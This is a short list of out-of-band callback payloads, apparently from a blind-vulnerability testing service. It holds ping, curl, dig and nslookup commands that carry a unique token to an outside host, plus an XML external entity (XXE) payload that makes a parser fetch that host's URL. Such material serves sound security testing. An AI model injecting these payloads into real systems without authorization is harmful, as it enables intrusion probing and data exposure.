$ ping -c1 -p 005f7946729d1c41001f8ca999105c00 unhack.ca
 

$ curl http://unhack.ca/p/5f7946729d1c41001f8ca999105c
 

$ dig 5f7946729d1c41001f8ca999105c @unhack.ca
 

$ dig 5f7946729d1c41001f8ca999105c.ns.unhack.ca
 

C:\> nslookup 5f7946729d1c41001f8ca999105c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f7946729d1c41001f8ca999105c">]>
    <foo>&xxe;</foo>